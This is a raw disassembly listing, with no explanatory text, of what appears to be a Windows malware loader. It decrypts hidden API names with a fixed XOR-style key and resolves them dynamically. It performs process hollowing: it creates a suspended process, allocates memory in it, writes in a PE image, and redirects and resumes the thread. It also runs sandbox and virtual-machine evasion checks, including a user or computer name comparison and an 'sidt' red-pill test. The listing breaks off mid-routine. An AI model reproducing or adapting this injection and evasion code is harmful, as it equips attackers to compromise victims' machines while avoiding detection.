"@erRT14@$%yHt41" mov eax, offset dword_4024A8 call sub_401EBC mov eax, [ebp+var_10] call sub_4019A4 push eax ; lpProcName push ebx ; hModule call GetProcAddress ; GetProcAddress mov [esi], eax lea ecx, [ebp+var_14] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_4024C0 call sub_401EBC mov eax, [ebp+var_14] call sub_4019A4 push eax push ebx call dword ptr [esi] mov ds:dword_4056B0, eax lea ecx, [ebp+var_18] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_4024DC call sub_401EBC mov eax, [ebp+var_18] call sub_4019A4 push eax push ebx call dword ptr [esi] mov ds:dword_405690, eax lea ecx, [ebp+var_1C] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_4024F4 call sub_401EBC mov eax, [ebp+var_1C] call sub_4019A4 push eax push ebx call dword ptr [esi] mov ds:dword_405694, eax lea ecx, [ebp+var_20] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_402510 call sub_401EBC mov eax, [ebp+var_20] call sub_4019A4 push eax push ebx call dword ptr [esi] mov ds:dword_40569C, eax lea ecx, [ebp+var_24] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_40252C call sub_401EBC mov eax, [ebp+var_24] call sub_4019A4 push eax push ebx call dword ptr [esi] mov ds:dword_4056A0, eax lea ecx, [ebp+var_28] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_402548 call sub_401EBC mov eax, [ebp+var_28] call sub_4019A4 push eax push ebx call dword ptr [esi] mov ds:dword_4056A4, eax lea ecx, [ebp+var_2C] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_402560 call sub_401EBC mov eax, [ebp+var_2C] call sub_4019A4 push eax push ebx call dword ptr [esi] mov ds:dword_4056B8, eax lea ecx, [ebp+var_30] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_402574 call sub_401EBC mov eax, [ebp+var_30] call sub_4019A4 push eax push ebx call dword ptr [esi] mov ds:dword_4056A8, eax lea ecx, [ebp+var_34] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_402590 call sub_401EBC mov eax, [ebp+var_34] call sub_4019A4 push eax push ebx call dword ptr [esi] mov ds:dword_405698, eax lea ecx, [ebp+var_38] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_4025A8 call sub_401EBC mov eax, [ebp+var_38] call sub_4019A4 push eax mov eax, [ebp+var_4] push eax call dword ptr [esi] mov ds:dword_4056B4, eax lea ecx, [ebp+var_3C] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_4025C8 call sub_401EBC mov eax, [ebp+var_3C] call sub_4019A4 push eax push ebx call dword ptr [esi] mov ds:dword_4056BC, eax mov eax, offset dword_4024F4 lea ecx, [ebp+var_40] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" call sub_401EBC mov eax, [ebp+var_40] call sub_4019A4 push eax push ebx call dword ptr [esi] mov ds:dword_405694, eax push ebx call ds:dword_4056B8 mov eax, [ebp+var_4] push eax call ds:dword_4056B8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_402456 loc_402441: ; CODE XREF: sub_4021F0+264j lea eax, [ebp+var_40] mov edx, 0Fh call sub_401770 retn ; --------------------------------------------------------------------------- loc_40244F: ; DATA XREF: sub_4021F0+19o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_402441 ; --------------------------------------------------------------------------- loc_402456: ; CODE XREF: sub_4021F0+25Ej ; DATA XREF: sub_4021F0+24Co pop esi pop ebx mov esp, ebp pop ebp retn sub_4021F0 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 0Fh a@errt14@Yht4_0 db '@erRT14@$%yHt41',0 ; DATA XREF: sub_4021F0+27o ; sub_4021F0+49o ... dd 0FFFFFFFFh, 0Ch dword_40247C dd 1E27564Ch, 4CCF5975h, 4FE283EDh, 0 dd 0FFFFFFFFh, 9 dword_402494 dd 1C314749h, 12981B7Ch, 0AFh, 0FFFFFFFFh, 0Ehdword_4024A8 dd 20215660h, 3F9F5A62h, 46FC83A7h, 41BCh, 0FFFFFFFFh ; DATA XREF: sub_4021F0+71o dd 10h dword_4024C0 dd 4275A71h, 2E905465h, 46FA88B1h, 0CC8846ACh, 0 dd 0FFFFFFFFh, 0Ch dword_4024DC dd 5265675h, 16A8507Dh, 47EF82B1h, 0 dd 0FFFFFFFFh, 10h dword_4024F4 dd 24215674h, 1F994778h, 4DE1A4A7h, 0C0B557BBh, 0 ; DATA XREF: sub_4021F0+DAo ; sub_4021F0+210o dd 0FFFFFFFFh, 11h dword_402510 dd 14345675h, 1D934740h, 6EFD94A6h, 0C6A25FAAh, 67h, 0FFFFFFFFh ; DATA XREF: sub_4021F0+FDo dd 10h dword_40252C dd 24215660h, 1F994778h, 4DE1A4A7h, 0C0B557BBh, 0 ; DATA XREF: sub_4021F0+120o dd 0FFFFFFFFh, 0Eh dword_402548 dd 11304164h, 0CAC5064h, 50EB84ACh, 73BCh, 0FFFFFFFFh ; DATA XREF: sub_4021F0+143o dd 0Bh dword_402560 dd 15304161h, 0C9E5C5Ch, 0F795A2h, 0FFFFFFFFh, 12h ; DATA XREF: sub_4021F0+166o dword_402574 dd 43C4170h, 118E6575h, 50FD82A0h, 0DBA05782h, 0C56Ch ; DATA XREF: sub_4021F0+189o dd 0FFFFFFFFh, 0Eh dword_402590 dd 4275A71h, 3F905465h, 40E18BAFh, 4A8Ah, 0FFFFFFFFh, 14h ; DATA XREF: sub_4021F0+1ACo dword_4025A8 dd 1E00447Dh, 288C547Dh, 6CF982AAh, 0D7A861A9h, 0D772D56Ah ; DATA XREF: sub_4021F0+1CFo dd 0 dd 0FFFFFFFFh, 10h dword_4025C8 dd 1D275673h, 0A9D5B79h, 4CFCB7A6h, 0C7BE57ACh, 0 ; DATA XREF: sub_4021F0+1F5o ; =============== S U B R O U T I N E ======================================= sub_4025DC proc near ; CODE XREF: sub_402620+28p ; sub_402620+38p ... push ecx mov edx, esp call sub_401408 pop edx retn sub_4025DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4025E8 proc near ; CODE XREF: sub_402620+20p ; sub_402620+30p ... var_108 = byte ptr -108h push ebx push esi add esp, 0FFFFFEF4h mov esi, edx mov ebx, eax lea edx, [esp+114h+var_108] mov eax, ebx call sub_4013FC lea edx, [esp+114h+var_108] mov eax, esp mov cl, 0Bh call sub_401360 mov eax, esi mov edx, esp call sub_401880 add esp, 10Ch pop esi pop ebx retn sub_4025E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402620 proc near ; CODE XREF: sub_4026A8+8p ; sub_4026C0+8p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ebx mov ebx, eax xor eax, eax push ebp push offset loc_40269A push dword ptr fs:[eax] mov fs:[eax], esp nop lea edx, [ebp+var_10] mov eax, ebx call sub_4025E8 mov eax, [ebp+var_10] call sub_4025DC lea edx, [ebp+var_C] call sub_4025E8 mov eax, [ebp+var_C] call sub_4025DC lea edx, [ebp+var_8] call sub_4025E8 mov eax, [ebp+var_8] call sub_4025DC lea edx, [ebp+var_4] call sub_4025E8 mov eax, [ebp+var_4] call sub_4025DC mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4026A1 loc_40268C: ; CODE XREF: sub_402620+7Fj lea eax, [ebp+var_10] mov edx, 4 call sub_401770 retn ; --------------------------------------------------------------------------- loc_40269A: ; DATA XREF: sub_402620+Fo jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_40268C ; --------------------------------------------------------------------------- loc_4026A1: ; CODE XREF: sub_402620+79j ; DATA XREF: sub_402620+67o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_402620 endp ; =============== S U B R O U T I N E ======================================= sub_4026A8 proc near ; CODE XREF: sub_4026DC+19Ap push ebx mov ebx, eax mov eax, 7Ch call sub_402620 lea eax, [ebx+18h] movzx edx, word ptr [ebx+14h] add eax, edx pop ebx retn sub_4026A8 endp ; =============== S U B R O U T I N E ======================================= sub_4026C0 proc near ; CODE XREF: sub_4026DC+1EFp push ebx mov ebx, eax mov eax, 7Ch call sub_402620 shr ebx, 1Dh mov eax, ds:dword_40407C[ebx*4] pop ebx retn sub_4026C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026DC proc near ; CODE XREF: CODE:0040339Ep var_148 = dword ptr -148h var_A4 = dword ptr -0A4h var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_4C = word ptr -4Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = dword ptr -28h var_21 = byte ptr -21h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp add esp, 0FFFFFEB8h push ebx push esi push edi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_8] call sub_401994 mov eax, [ebp+var_C] call sub_401994 xor eax, eax push ebp push offset loc_4029A8 push dword ptr fs:[eax] mov fs:[eax], esp call sub_4021F0 xor ebx, ebx mov eax, 7Ch call sub_402620 lea eax, [ebp+var_38] xor ecx, ecx mov edx, 10h call sub_40137C lea eax, [ebp+var_7C] xor ecx, ecx mov edx, 44h call sub_40137C mov [ebp+var_7C], 44h xor eax, eax mov al, [ebp+arg_0] mov [ebp+var_4C], ax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_7C] push eax push 0 push 0 push 4 push 0 push 0 push 0 mov eax, [ebp+var_C] call sub_4019A4 push eax mov eax, [ebp+var_8] call sub_4019A4 push eax call ds:dword_4056A4 test eax, eax jz loc_40298D mov [ebp+var_21], 1 mov eax, 7Ch call sub_402620 nop nop nop nop nop xor eax, eax push ebp push offset loc_402986 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_148], 10002h lea eax, [ebp+var_148] push eax mov eax, [ebp+var_34] push eax call ds:dword_4056A0 test eax, eax jz loc_40294D lea eax, [ebp+var_14] push eax push 4 lea eax, [ebp+var_10] push eax mov eax, [ebp+var_A4] add eax, 8 push eax mov eax, [ebp+var_38] push eax call ds:dword_40569C test eax, eax jz loc_40294D mov eax, [ebp+var_10] push eax mov eax, [ebp+var_38] push eax call ds:dword_4056B4 test eax, eax jb loc_40294D cmp [ebp+var_4], 0 jz loc_40294D mov eax, 7Ch call sub_402620 mov eax, [ebp+var_4] mov eax, [eax+3Ch] add eax, [ebp+var_4] mov [ebp+var_20], eax push 4 push 3000h mov eax, [ebp+var_20] mov eax, [eax+50h] push eax mov eax, [ebp+var_20] mov eax, [eax+34h] push eax mov eax, [ebp+var_38] push eax call ds:dword_405698 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40294D lea eax, [ebp+var_18] push eax mov eax, [ebp+var_20] mov eax, [eax+54h] push eax mov eax, [ebp+var_4] push eax mov eax, [ebp+var_10] push eax mov eax, [ebp+var_38] push eax call ds:dword_4056A8 test eax, eax jz loc_40294D mov eax, [ebp+var_20] call sub_4026A8 mov esi, eax mov eax, 7Ch call sub_402620 mov eax, [ebp+var_20] movzx eax, word ptr [eax+6] dec eax test eax, eax jb short loc_4028EE inc eax mov [ebp+var_28], eax xor ebx, ebx loc_402899: ; CODE XREF: sub_4026DC+210j lea eax, [ebp+var_18] push eax lea edi, [ebx+ebx*4] mov eax, [esi+edi*8+10h] push eax mov eax, [esi+edi*8+14h] add eax, [ebp+var_4] push eax mov eax, [esi+edi*8+0Ch] add eax, [ebp+var_10] push eax mov eax, [ebp+var_38] push eax call ds:dword_4056A8 test eax, eax jz short loc_4028E8 lea eax, [ebp+var_1C] push eax mov eax, [esi+edi*8+24h] call sub_4026C0 push eax mov eax, [esi+edi*8+8] push eax mov eax, [esi+edi*8+0Ch] add eax, [ebp+var_10] push eax mov eax, [ebp+var_38] push eax call ds:dword_4056B0 loc_4028E8: ; CODE XREF: sub_4026DC+1E5j inc ebx dec [ebp+var_28] jnz short loc_402899 loc_4028EE: ; CODE XREF: sub_4026DC+1B5j mov eax, 7Ch call sub_402620 lea eax, [ebp+var_18] push eax push 4 lea eax, [ebp+var_10] push eax mov eax, [ebp+var_A4] add eax, 8 push eax mov eax, [ebp+var_38] push eax call ds:dword_4056A8 test eax, eax jz short loc_40294D mov eax, 7Ch call sub_402620 mov eax, [ebp+var_20] mov eax, [eax+28h] add eax, [ebp+var_10] mov [ebp+var_98], eax lea eax, [ebp+var_148] push eax mov eax, [ebp+var_34] push eax call ds:dword_405694 cmp eax, 1 sbb eax, eax inc eax mov [ebp+var_21], al loc_40294D: ; CODE XREF: sub_4026DC+E4j ; sub_4026DC+10Aj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40298D loc_40295A: ; CODE XREF: sub_4026DC+2AFj cmp [ebp+var_21], 0 jnz short loc_40296E push 0 mov eax, [ebp+var_38] push eax call ds:dword_4056BC jmp short loc_402978 ; --------------------------------------------------------------------------- loc_40296E: ; CODE XREF: sub_4026DC+282j mov eax, [ebp+var_34] push eax call ds:dword_405690 loc_402978: ; CODE XREF: sub_4026DC+290j mov eax, 7Ch call sub_402620 mov bl, [ebp+var_21] retn ; --------------------------------------------------------------------------- loc_402986: ; DATA XREF: sub_4026DC+BCo jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_40295A ; --------------------------------------------------------------------------- loc_40298D: ; CODE XREF: sub_4026DC+A0j ; DATA XREF: sub_4026DC+279o xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4029AF loc_40299A: ; CODE XREF: sub_4026DC+2D1j lea eax, [ebp+var_C] mov edx, 2 call sub_401770 retn ; --------------------------------------------------------------------------- loc_4029A8: ; DATA XREF: sub_4026DC+28o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_40299A ; --------------------------------------------------------------------------- loc_4029AF: ; CODE XREF: sub_4026DC+2CBj ; DATA XREF: sub_4026DC+2B9o mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_4026DC endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029BC proc near ; DATA XREF: CODE:00403280o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4029E1 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4056C0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4029E8 loc_4029E0: ; CODE XREF: sub_4029BC+2Aj retn ; --------------------------------------------------------------------------- loc_4029E1: ; DATA XREF: sub_4029BC+6o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_4029E0 ; --------------------------------------------------------------------------- loc_4029E8: ; CODE XREF: sub_4029BC:loc_4029E0j ; DATA XREF: sub_4029BC+1Fo pop ebp retn sub_4029BC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4029EC proc near ; DATA XREF: CODE:0040327Co sub ds:dword_4056C0, 1 retn sub_4029EC endp ; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029FC proc near ; CODE XREF: CODE:004032B9p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 6 loc_402A04: ; CODE XREF: sub_4029FC+Dj push 0 push 0 dec ecx jnz short loc_402A04 push ecx push ebx push esi xor eax, eax push ebp push offset loc_402C3E push dword ptr fs:[eax] mov fs:[eax], esp lea ecx, [ebp+var_4] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402C6C call sub_401EBC mov eax, [ebp+var_4] call sub_4019A4 push eax ; lpLibFileName call LoadLibraryA ; LoadLibraryA mov ebx, eax lea ecx, [ebp+var_8] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402C84 call sub_401EBC mov eax, [ebp+var_8] call sub_4019A4 push eax ; lpLibFileName call LoadLibraryA ; LoadLibraryA mov esi, eax lea ecx, [ebp+var_C] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402C9C call sub_401EBC mov eax, [ebp+var_C] call sub_4019A4 push eax ; lpProcName push ebx ; hModule call GetProcAddress_0 mov ds:dword_4056C4, eax lea ecx, [ebp+var_10] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402CB4 call sub_401EBC mov eax, [ebp+var_10] call sub_4019A4 push eax push ebx call ds:dword_4056C4 mov ds:dword_4056E8, eax lea ecx, [ebp+var_14] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402CC8 call sub_401EBC mov eax, [ebp+var_14] call sub_4019A4 push eax push ebx call ds:dword_4056C4 mov ds:dword_4056C8, eax lea ecx, [ebp+var_18] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402CE4 call sub_401EBC mov eax, [ebp+var_18] call sub_4019A4 push eax push esi call ds:dword_4056C4 mov ds:dword_4056CC, eax lea ecx, [ebp+var_1C] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402CFC call sub_401EBC mov eax, [ebp+var_1C] call sub_4019A4 push eax push esi call ds:dword_4056C4 mov ds:dword_4056D0, eax lea ecx, [ebp+var_20] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402D18 call sub_401EBC mov eax, [ebp+var_20] call sub_4019A4 push eax push ebx call ds:dword_4056C4 mov ds:dword_4056D4, eax lea ecx, [ebp+var_24] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402D30 call sub_401EBC mov eax, [ebp+var_24] call sub_4019A4 push eax push ebx call ds:dword_4056C4 mov ds:dword_4056D8, eax lea ecx, [ebp+var_28] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402D48 call sub_401EBC mov eax, [ebp+var_28] call sub_4019A4 push eax push ebx call ds:dword_4056C4 mov ds:dword_4056DC, eax lea ecx, [ebp+var_2C] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402D60 call sub_401EBC mov eax, [ebp+var_2C] call sub_4019A4 push eax push ebx call ds:dword_4056C4 mov ds:dword_4056E0, eax lea ecx, [ebp+var_30] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402D78 call sub_401EBC mov eax, [ebp+var_30] call sub_4019A4 push eax push ebx call ds:dword_4056C4 mov ds:dword_4056E4, eax lea ecx, [ebp+var_34] mov edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41" mov eax, offset dword_402D90 call sub_401EBC mov eax, [ebp+var_34] call sub_4019A4 push eax push ebx call ds:dword_4056C4 mov edx, ds:off_40409C mov [edx], eax push ebx mov eax, ds:off_40409C mov eax, [eax] call eax push esi mov eax, ds:off_40409C mov eax, [eax] call eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_402C45 loc_402C30: ; CODE XREF: sub_4029FC+247j lea eax, [ebp+var_34] mov edx, 0Dh call sub_401770 retn ; --------------------------------------------------------------------------- loc_402C3E: ; DATA XREF: sub_4029FC+15o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_402C30 ; --------------------------------------------------------------------------- loc_402C45: ; CODE XREF: sub_4029FC+241j ; DATA XREF: sub_4029FC+22Fo pop esi pop ebx mov esp, ebp pop ebp retn sub_4029FC endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 0Fh a@errt14@Yht4_1 db '@erRT14@$%yHt41',0 ; DATA XREF: sub_4029FC+23o ; sub_4029FC+45o ... dd 0FFFFFFFFh, 0Ch dword_402C6C dd 1E27564Ch, 4CCF5975h, 4FE283EDh, 0 dd 0FFFFFFFFh, 0Ch dword_402C84 dd 11235746h, 4CCF5C60h, 4FE283EDh, 0 dd 0FFFFFFFFh, 0Eh dword_402C9C dd 20215660h, 3F9F5A62h, 46FC83A7h, 41BCh, 0FFFFFFFFh ; DATA XREF: sub_4029FC+6Co dd 0Bh dword_402CB4 dd 43C4B62h, 1D934740h, 0FD94A6h, 0FFFFFFFFh, 12h ; DATA XREF: sub_4029FC+92o dword_402CC8 dd 36215660h, 3F995979h, 4AFC93B7h, 0D1B947ADh, 0FD6Dh ; DATA XREF: sub_4029FC+B9o dd 0FFFFFFFFh, 0Ch dword_402CE4 dd 25215660h, 308E5063h, 62EB8AA2h, 0 dd 0FFFFFFFFh, 10h dword_402CFC dd 33215660h, 0B8C587Fh, 6DFC82B7h, 0F5A85FAEh, 0 ; DATA XREF: sub_4029FC+107o dd 0FFFFFFFFh, 0Dh dword_402D18 dd 143B5A61h, 118F5042h, 46ED95B6h, 8Eh, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_4029FC+12Eo dword_402D30 dd 152F5A74h, 1BAE537Fh, 51FB88B0h, 57ACh, 0FFFFFFFFh ; DATA XREF: sub_4029FC+155o dd 0Ch dword_402D48 dd 14345C6Bh, 118F5042h, 46ED95B6h, 0 dd 0FFFFFFFFh, 0Ch dword_402D60 dd 1B365C6Bh, 118F5042h, 46ED95B6h, 0 dd 0FFFFFFFFh, 0Ch dword_402D78 dd 15304161h, 118F5042h, 46ED95B6h, 0 dd 0FFFFFFFFh, 0Bh dword_402D90 dd 15304161h, 0C9E5C5Ch, 0F795A2h ; =============== S U B R O U T I N E ======================================= sub_402D9C proc near ; CODE XREF: sub_40311C+20p ; sub_40311C+30p ... var_108 = byte ptr -108h push ebx push esi add esp, 0FFFFFEF4h mov esi, edx mov ebx, eax lea edx, [esp+114h+var_108] mov eax, ebx call sub_4013FC lea edx, [esp+114h+var_108] mov eax, esp mov cl, 0Bh call sub_401360 mov eax, esi mov edx, esp call sub_401880 add esp, 10Ch pop esi pop ebx retn sub_402D9C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402DD4 proc near ; CODE XREF: sub_40311C+28p ; sub_40311C+38p ... push ecx mov edx, esp call sub_401408 pop edx retn sub_402DD4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DE0 proc near ; CODE XREF: sub_402EA0+1Dp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx xor edx, edx mov [ebp+var_4], edx mov ebx, eax xor eax, eax push ebp push offset loc_402E4E push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_8], 0FDh lea eax, [ebp+var_4] mov edx, 0FEh call sub_4019F8 lea eax, [ebp+var_8] push eax mov eax, [ebp+var_4] call sub_4019A4 push eax call ds:dword_4056CC lea eax, [ebp+var_4] mov edx, [ebp+var_8] call sub_4019F8 mov eax, ebx mov edx, [ebp+var_4] call sub_4017A0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_402E55 loc_402E45: ; CODE XREF: sub_402DE0+73j lea eax, [ebp+var_4] call sub_40174C retn ; --------------------------------------------------------------------------- loc_402E4E: ; DATA XREF: sub_402DE0+11o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_402E45 ; --------------------------------------------------------------------------- loc_402E55: ; CODE XREF: sub_402DE0+6Dj ; DATA XREF: sub_402DE0+60o pop ebx pop ecx pop ecx pop ebp retn sub_402DE0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402E5C proc near ; CODE XREF: sub_402EA0+46p var_108 = dword ptr -108h var_104 = byte ptr -104h push ebx add esp, 0FFFFFEFCh mov ebx, eax mov [esp+108h+var_108], 100h push esp lea eax, [esp+10Ch+var_104] push eax call ds:dword_4056D0 test eax, eax jz short loc_402E8E mov eax, ebx lea edx, [esp+108h+var_104] mov ecx, 100h call sub_40188C jmp short loc_402E95 ; --------------------------------------------------------------------------- loc_402E8E: ; CODE XREF: sub_402E5C+1Ej mov eax, ebx call sub_40174C loc_402E95: ; CODE XREF: sub_402E5C+30j add esp, 104h pop ebx retn sub_402E5C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EA0 proc near ; CODE XREF: sub_4031F0p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ebx xor eax, eax push ebp push offset loc_402F29 push dword ptr fs:[eax] mov fs:[eax], esp xor ebx, ebx lea eax, [ebp+var_4] call sub_402DE0 mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] mov edx, offset a@errt14@Yht4_2 ; "@erRT14@$%yHt41" mov eax, offset dword_402F58 call sub_401EBC mov edx, [ebp+var_8] pop eax call sub_4018F0 jnz short loc_402F0E lea eax, [ebp+var_C] call sub_402E5C mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_10] mov edx, offset a@errt14@Yht4_2 ; "@erRT14@$%yHt41" mov eax, offset dword_402F6C call sub_401EBC mov edx, [ebp+var_10] pop eax call sub_4018F0 jnz short loc_402F0E mov bl, 1 loc_402F0E: ; CODE XREF: sub_402EA0+41j ; sub_402EA0+6Aj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_402F30 loc_402F1B: ; CODE XREF: sub_402EA0+8Ej lea eax, [ebp+var_10] mov edx, 4 call sub_401770 retn ; --------------------------------------------------------------------------- loc_402F29: ; DATA XREF: sub_402EA0+Do jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_402F1B ; --------------------------------------------------------------------------- loc_402F30: ; CODE XREF: sub_402EA0+88j ; DATA XREF: sub_402EA0+76o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_402EA0 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 0Fh a@errt14@Yht4_2 db '@erRT14@$%yHt41',0 ; DATA XREF: sub_402EA0+29o ; sub_402EA0+52o dd 0FFFFFFFFh, 8 dword_402F58 dd 2304072h, 1B91545Eh, 0 dd 0FFFFFFFFh, 0Ch dword_402F6C dd 20187C64h, 2CB96145h, 66C3A68Dh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F7C proc near ; CODE XREF: sub_4031F0+1Bp var_7 = byte ptr -7 var_6 = byte ptr -6 push ebp mov ebp, esp add esp, 0FFFFFFF8h lea eax, [ebp+var_7] sidt fword ptr [ebp+var_6] cmp dword ptr [ebp+var_6+2], 0F0000000h jle short loc_402F9D cmp dword ptr [ebp+var_6+2], 0FF000000h jg short loc_402FAC jmp short loc_402FB2 ; --------------------------------------------------------------------------- loc_402F9D: ; CODE XREF: sub_402F7C+14j cmp dword ptr [ebp+var_6+2], 0D0000000h jle short loc_402FB2 mov [ebp+var_7], 1 jmp short loc_402FB6 ; --------------------------------------------------------------------------- loc_402FAC: ; CODE XREF: sub_402F7C+1Dj mov [ebp+var_7], 2 jmp short loc_402FB6 ; --------------------------------------------------------------------------- loc_402FB2: ; CODE XREF: sub_402F7C+1Fj ; sub_402F7C+28j mov [ebp+var_7], 0 loc_402FB6: ; CODE XREF: sub_402F7C+2Ej ; sub_402F7C+34j mov al, [eax] pop ecx pop ecx pop ebp retn sub_402F7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FBC proc near ; CODE XREF: sub_4031F0+12p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push 0 push 0 push ebx xor eax, eax push ebp push offset loc_403032 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] xor eax, eax call sub_401300 mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_C] mov edx, offset a@errt14@Yht4_3 ; "@erRT14@$%yHt41" mov eax, offset dword_403060 call sub_401EBC mov eax, [ebp+var_C] call sub_4019A4 mov edx, eax lea eax, [ebp+var_8] call sub_401850 mov edx, [ebp+var_8] pop eax call sub_4018F0 jnz short loc_403015 mov bl, 1 jmp short loc_403017 ; --------------------------------------------------------------------------- loc_403015: ; CODE XREF: sub_402FBC+53j xor ebx, ebx loc_403017: ; CODE XREF: sub_402FBC+57j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403039 loc_403024: ; CODE XREF: sub_402FBC+7Bj lea eax, [ebp+var_C] mov edx, 3 call sub_401770 retn ; --------------------------------------------------------------------------- loc_403032: ; DATA XREF: sub_402FBC+Do jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_403024 ; --------------------------------------------------------------------------- 